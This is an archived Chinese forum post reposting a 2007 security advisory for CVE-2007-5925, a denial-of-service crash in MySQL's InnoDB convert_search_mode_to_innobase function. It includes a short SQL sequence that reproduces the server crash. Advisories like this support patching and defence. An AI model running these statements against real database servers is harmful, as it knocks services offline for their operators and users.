MariaDB社区

标题: MySQL服务器InnoDB CONVERT_SEARCH_MODE_TO_INNOBASE函数拒绝服务漏洞 [打印本页]

作者: boxman    时间: 2007-12-6 16:22
标题: MySQL服务器InnoDB CONVERT_SEARCH_MODE_TO_INNOBASE函数拒绝服务漏洞
MySQL服务器InnoDB CONVERT_SEARCH_MODE_TO_INNOBASE函数拒绝服务漏洞

发布日期:2007-11-05
更新日期:2007-11-07

受影响系统:
MySQL AB MySQL 5.1.23-BK
MySQL AB MySQL 5.1.16-17
MySQL AB MySQL 5.0.44
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 26353
CVE(CAN) ID: CVE-2007-5925

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL服务器在处理畸形请求数据时存在漏洞,远程攻击者可能利用此漏洞导致服务器崩溃。

如果向MySQL服务器提交了恶意的CREATE 、SELECT等命令的话,就可能在convert_search_mode_to_innobase函数中触发异常,服务器会立即崩溃并输出以下内容:

mysqld: ha_innodb.cc:3896: ulint convert_search_mode_to_innobase(ha_rkey_function):
Assertion `0' failed.
mysqld got signal 6;

<*来源:Artem Russakovskii
        Kristian Erik Hermansen (kristian.hermansen@gmail.com
  
  链接:http://bugs.mysql.com/bug.php?id=32125
        http://marc.info/?l=full-disclosure&m=119433116825865&w=2
        http://secunia.com/advisories/27568/
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

mysql> CREATE TABLE `test` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,
  `foo` text NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
Query OK, 0 rows affected

mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');
Empty set

mysql> ALTER TABLE test ADD INDEX (foo(100));
Query OK, 0 rows affected
Records: 0  Duplicates: 0  Warnings: 0

mysql> SELECT * FROM test WHERE CONTAINS(foo, 'bar');
ERROR 2013 : Lost connection to MySQL server during query

建议:
--------------------------------------------------------------------------------
厂商补丁:

MySQL AB
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mysql.com/
作者: kider    时间: 2007-12-6 22:29





欢迎光临 MariaDB社区 (http://123.56.88.72/) Powered by Discuz! X3.2